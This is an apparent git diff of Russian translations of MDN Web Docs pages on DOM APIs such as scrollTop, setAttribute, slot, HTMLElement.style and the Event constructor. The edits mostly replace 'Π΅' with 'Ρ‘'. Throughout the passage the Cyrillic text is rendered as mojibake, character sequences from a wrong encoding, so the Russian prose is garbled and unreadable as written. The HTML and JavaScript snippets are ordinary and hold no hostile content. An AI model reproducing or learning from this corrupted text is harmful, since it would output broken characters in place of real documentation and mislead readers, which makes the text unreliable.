ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Π»ΠΈΠ±ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρƒ элСмСнта Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ CSS свойства overflow Ρ€Π°Π²Π½ΠΎ visible (Π² этом случаС ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° отсутствуСт).</span></p>
+<p><strong>Π’ вСрсиях Firefox Π΄ΠΎ 21-ΠΉ:</strong>Β ΠΊΠΎΠ³Π΄Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ элСмСнта Π½Π΅ создаёт Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ полосу ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Π΅Π³ΠΎ свойство <code style="font-size: 14px;">scrollHeight</code><span style="line-height: 1.5;">Β Ρ€Π°Π²Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽΒ </span><code style="font-size: 14px;">clientHeight</code><span style="line-height: 1.5;">. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Π»ΠΈΠ±ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° слишком ΠΌΠ°Π»ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π΅ΠΌΡƒ ΠΏΠΎΡ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»Π°ΡΡŒ полоса ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Π»ΠΈΠ±ΠΎ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Ρƒ элСмСнта Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ CSS свойства overflow Ρ€Π°Π²Π½ΠΎ visible (Π² этом случаС ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠ° отсутствуСт).</span></p>
<h2 id="See_Also" name="See_Also">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/element/scrolltop/index.html b/files/ru/web/api/element/scrolltop/index.html
index 5da685b3c7..f057dc4f40 100644
--- a/files/ru/web/api/element/scrolltop/index.html
+++ b/files/ru/web/api/element/scrolltop/index.html
@@ -19,7 +19,7 @@ var <var> intElemScrollTop</var> = someElement.scrollTop;
<var>element</var>.scrollTop = <var>intValue</var>;
</pre>
-<p><code>scrollTop</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹ΠΌ Ρ†Π΅Π»Ρ‹ΠΌ числом, с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌΠΈ ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΊΠ°ΠΌΠΈ:</p>
+<p><code>scrollTop</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹ΠΌ Ρ†Π΅Π»Ρ‹ΠΌ числом, с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΊΠ°ΠΌΠΈ:</p>
<ul>
<li>Если элСмСнт Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡Π΅Π½Β (Ρ‚.Π΅. Ρƒ Π½Π΅Π³ΠΎ Π½Π΅Ρ‚ пСрСполнСния ΠΈΠ»ΠΈ Ссли элСмСнт <strong>Π½Π΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Π΅ΠΌ</strong>), <code>scrollTop</code> устанавливаСтся Π²Β <code>0</code>.</li>
diff --git a/files/ru/web/api/element/setattribute/index.html b/files/ru/web/api/element/setattribute/index.html
index 0d61d3834e..f7e43d6d58 100644
--- a/files/ru/web/api/element/setattribute/index.html
+++ b/files/ru/web/api/element/setattribute/index.html
@@ -34,13 +34,13 @@ b.setAttribute("disabled", "disabled");
<h2 id="Notes" name="Notes">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΡ</h2>
-<p>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ на элСмСнтС Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, setAttribute ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Π΅Ρ‚ имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр.</p>
+<p>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ на элСмСнтС Π²Π½ΡƒΡ‚Ρ€ΠΈ HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, setAttribute ΠΏΠ΅Ρ€Π΅Π²Π΅Π΄Ρ‘Ρ‚ имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² Π½ΠΈΠΆΠ½ΠΈΠΉ рСгистр.</p>
<p>Если ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΆΠ΅ сущСствуСт, Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ измСнится Π½Π° Π½ΠΎΠ²ΠΎΠ΅. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Ρ€Π°Π½Π΅Π΅ Π½Π΅ сущСствовало, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ создан.</p>
-<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Β <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ nullΒ ΡƒΒ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ…Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вмСсто <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚. ПослСдний заставит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code> Π±Ρ‹Ρ‚ΡŒ строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вСроятно,</span> <span>Π½Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> <span>Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span><span>.</span></span></p>
+<p>НСсмотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄Β Β <code style="font-style: normal;"><a href="/ru/docs/DOM/element.getAttribute" title="DOM/element.getAttribute">getAttribute()</a></code>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ nullΒ ΡƒΒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ…Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/ru/docs/DOM/element.removeAttribute" style="font-family: Consolas, Monaco, 'Andale Mono', monospace;" title="DOM/element.removeAttribute">removeAttribute()</a> вмСсто <em>elt</em><span style="font-family: consolas,monaco,andale mono,monospace;">.setAttribute(</span><em>attr</em><span style="font-family: consolas,monaco,andale mono,monospace;">, null)</span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚. ПослСдний заставит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>null</code> Π±Ρ‹Ρ‚ΡŒ строкой <code>"null"</code>, <span class="short_text" id="result_box" lang="ru"><span>которая, вСроятно,</span> <span>Π½Π΅ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ</span> <span>Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span><span>.</span></span></p>
-<p>ИспользованиС setAttribute() для измСнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² особСнно Π·Π½Π°Ρ‡ΠΈΠΌΠΎ Π² XUL, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ значСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства. НапримСр, elt.value вмСсто elt.setAttribure('value', val).</p>
+<p>ИспользованиС setAttribute() для измСнСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² особСнно Π·Π½Π°Ρ‡ΠΈΠΌΠΎ Π² XUL, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π΅ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ значСния, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства. НапримСр, elt.value вмСсто elt.setAttribure('value', val).</p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>autoplay</code> элСмСнта {{HTMLElement("audio")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ null ΠΈΠ»ΠΈ пустоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. НапримСр:Β <code><em>elt</em>.setAttribute('autoplay', '')</code></p>
diff --git a/files/ru/web/api/element/slot/index.html b/files/ru/web/api/element/slot/index.html
index 0cf309a075..7ff8d276c7 100644
--- a/files/ru/web/api/element/slot/index.html
+++ b/files/ru/web/api/element/slot/index.html
@@ -28,7 +28,7 @@ translation_of: Web/API/Element/slot
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
-<p>Π’ нашСм <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри Π² прямом эфирС</a>), ΠΌΡ‹ создаСм Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>&lt;my-paragraph&gt;</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ прикрСпляСтся Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ, Π° Π·Π°Ρ‚Π΅ΠΌ заполняСтся с использованиСм содСрТимого шаблона, содСрТащСго слот с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>my-text</code>.</p>
+<p>Π’ нашСм <a href="https://github.com/mdn/web-components-examples/tree/master/simple-template">ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ простого шаблона</a> (<a href="https://mdn.github.io/web-components-examples/simple-template/">смотри Π² прямом эфирС</a>), ΠΌΡ‹ создаём Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>&lt;my-paragraph&gt;</code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ прикрСпляСтся Ρ‚Π΅Π½Π΅Π²ΠΎΠΉ ΠΊΠΎΡ€Π΅Π½ΡŒ, Π° Π·Π°Ρ‚Π΅ΠΌ заполняСтся с использованиСм содСрТимого шаблона, содСрТащСго слот с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>my-text</code>.</p>
<p>Когда Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>&lt;my-paragraph&gt;</code>, слот заполняСтся слот-элСмСнтом, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΅Π³ΠΎ Π² элСмСнт с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>my-text</code>. Π’ΠΎΡ‚ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ²:</p>
diff --git a/files/ru/web/api/elementcssinlinestyle/style/index.html b/files/ru/web/api/elementcssinlinestyle/style/index.html
index 7180bedfa6..df3bcd15b5 100644
--- a/files/ru/web/api/elementcssinlinestyle/style/index.html
+++ b/files/ru/web/api/elementcssinlinestyle/style/index.html
@@ -20,13 +20,13 @@ original_slug: Web/API/HTMLElement/style
<div>{{ APIRef("HTML DOM") }}</div>
</div>
-<p>Бвойство<strong>Β </strong><code><strong>HTMLElement.style</strong></code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния ΠΈ установки ΠΈΠ½Π»Π°ΠΉΠ½ΠΎΠ²Ρ‹Ρ… стилСй. ΠŸΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ΡΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит список ΠΈΠ· всСх свойств стилСй для этого элСмСнта с значСниями Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈΒ  для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² , Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ Β Π² ΠΈΠ½Π»Π°ΠΉΠ½ΠΎΠ²ΠΎΠΌ стилС (см.Β <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</code> стиля</a>) элСмСнта. Π‘ΠΌ. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получСния списка CSS свойств ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹Ρ… вмСстС со style. Β </p>
+<p>Бвойство<strong>Β </strong><code><strong>HTMLElement.style</strong></code>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния ΠΈ установки ΠΈΠ½Π»Π°ΠΉΠ½ΠΎΠ²Ρ‹Ρ… стилСй. ΠŸΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ΡΡΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <a href="/en-US/docs/DOM/CSSStyleDeclaration" title="DOM/CSSStyleDeclaration"><code>CSSStyleDeclaration</code></a>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит список ΠΈΠ· всСх свойств стилСй для этого элСмСнта с значСниями Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌΠΈΒ  для Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² , Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ Β Π² ΠΈΠ½Π»Π°ΠΉΠ½ΠΎΠ²ΠΎΠΌ стилС (см.Β <a href="/en-US/docs/Web/HTML/Global_attributes#style"><code>Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚</code> стиля</a>) элСмСнта. Π‘ΠΌ. <a href="/en-US/docs/Web/CSS/CSS_Properties_Reference" title="/en-US/docs/Web/CSS/CSS_Properties_Reference">CSS Properties Reference</a> для получСния списка CSS свойств ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌΡ‹Ρ… вмСстС со style. Β </p>
<h3 id="Настройка_стилСй">Настройка стилСй</h3>
<p>Бвойство style ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ (ΠΈ Π²Ρ‹ΡˆΠ΅) Π² каскадС CSS ΠΊΠ°ΠΊ ΠΈ прямая дСкларация стиля Ρ‡Π΅Ρ€Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ style, ΠΏΠΎΠ»Π΅Π·Π΅Π½ для настройки стиля ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ спСцифичного элСмСнта.</p>
-<p>Π‘Ρ‚ΠΈΠ»ΠΈ Π½Π΅ слСдуСт ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ нСпосрСдствСнно Ρ‡Π΅Ρ€Π΅Π· свойство <code>style</code>Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>elt.style = "color: blue;"</code>), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΎ считаСтся доступным Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ style Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>CSSStyleDeclaration</code> который доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния. ВмСсто этого стили ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ установлСны ΠΏΡƒΡ‚Π΅ΠΌ присвоСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойствам <code>style</code>. Для добавлСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… стилСй для элСмСнта Π±Π΅Π· измСнСния Π΄Ρ€ΡƒΠ³ΠΈΡ… свойств стилСй ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства <code>style</code> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>elt.style.color = '...'</code>).
+<p>Π‘Ρ‚ΠΈΠ»ΠΈ Π½Π΅ слСдуСт ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ нСпосрСдствСнно Ρ‡Π΅Ρ€Π΅Π· свойство <code>style</code>Β (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>elt.style = "color: blue;"</code>), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΎ считаСтся доступным Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ style Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>CSSStyleDeclaration</code> который доступСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния. ВмСсто этого стили ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ установлСны ΠΏΡƒΡ‚Ρ‘ΠΌ присвоСния Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ свойствам <code>style</code>. Для добавлСния ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… стилСй для элСмСнта Π±Π΅Π· измСнСния Π΄Ρ€ΡƒΠ³ΠΈΡ… свойств стилСй ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства <code>style</code> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>elt.style.color = '...'</code>).
ΠŸΡ€ΠΈ использовании <br><code>elt.style.cssText = '...'</code> ΠΈΠ»ΠΈ <code>elt.setAttribute('style','...')</code> ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ стили пСрСзаписывая ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΈΠΌΠ΅Π½Π° свойств стилСй Π·Π°Π΄Π°ΡŽΡ‚ΡΡ Π² camel-case Π° Π½Π΅ Π² kebab-caseΒ <code>elt.style.&lt;property&gt;</code>Β (Ρ‚.Π΅., <code>elt.style.fontSize</code>, Π° Π½Π΅ <code>elt.style.font-size</code>).</p>
<p>ΠžΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ стили ΡΠ±Ρ€Π°ΡΡ‹Π²Π°ΡŽΡ‚ΡΡ присваиваниСм значСния <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">null</span></font>, <br><code>elt.style.color = null</code></p>
@@ -38,7 +38,7 @@ elt.style.cssText = "color: blue; border: 1px solid black";
// Или
elt.setAttribute("style", "color:red; border: 1px solid blue;");
-// УстанавливаСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ оставляя Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния стиля Π½Π΅Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ
+// УстанавливаСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΡΡ‚ΠΈΠ»ΡŒ оставляя Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния стиля Π½Π΅Ρ‚Ρ€ΠΎΠ½ΡƒΡ‚Ρ‹ΠΌΠΈ
elt.style.color = "blue";</code></pre>
<h3 id="ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅_ΡΡ‚ΠΈΠ»ΡŒ-ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ">ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ ΡΡ‚ΠΈΠ»ΡŒ-ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</h3>
diff --git a/files/ru/web/api/event/event/index.html b/files/ru/web/api/event/event/index.html
index c18a0ab884..0b608e61b0 100644
--- a/files/ru/web/api/event/event/index.html
+++ b/files/ru/web/api/event/event/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/Event/Event
---
<p>{{APIRef("DOM")}}</p>
-<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Event()</strong></code> создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события {{domxref("Event")}}.</p>
+<p>ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ <code><strong>Event()</strong></code> создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ события {{domxref("Event")}}.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
diff --git a/files/ru/web/api/event/index.html b/files/ru/web/api/event/index.html
index 41b3027031..05babc71de 100644
--- a/files/ru/web/api/event/index.html
+++ b/files/ru/web/api/event/index.html
@@ -78,7 +78,7 @@ translation_of: Web/API/Event
<dl>
<dt>{{domxref("Event.Event", "Event()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Event</code> ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Event</code> ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ.</dd>
</dl>
